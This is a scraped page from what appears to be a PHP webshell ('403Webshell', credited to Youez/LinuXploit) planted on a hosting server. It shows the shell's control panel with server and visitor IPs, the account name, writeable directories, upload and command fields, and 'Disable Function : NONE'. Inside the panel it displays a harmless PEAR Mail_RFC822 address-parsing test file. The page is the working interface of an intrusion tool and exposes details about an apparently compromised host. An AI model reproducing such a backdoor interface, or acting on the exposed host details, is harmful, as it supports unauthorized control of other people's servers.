403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/php8.4/test/Mail/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/php8.4/test/Mail/tests/validateQuotedString.phpt
--TEST--
Mail_RFC822::parseAddressList simple tests
--FILE--
<?php
require_once 'Mail/RFC822.php';
$address_string = '"Joe Doe \(from Somewhere\)" <doe@example.com>, postmaster@example.com, root';

$address_array = Mail_RFC822::parseAddressList($address_string, "example.com");

foreach ($address_array as $val) {
    echo "mailbox : " . $val->mailbox . "\n";
    echo "host    : " . $val->host . "\n";
    echo "personal: " . $val->personal . "\n";
}
--EXPECT--
mailbox : doe
host    : example.com
personal: "Joe Doe \(from Somewhere\)"
mailbox : postmaster
host    : example.com
personal: 
mailbox : root
host    : example.com
personal: 

Youez - 2016 - github.com/yon3zu
LinuXploit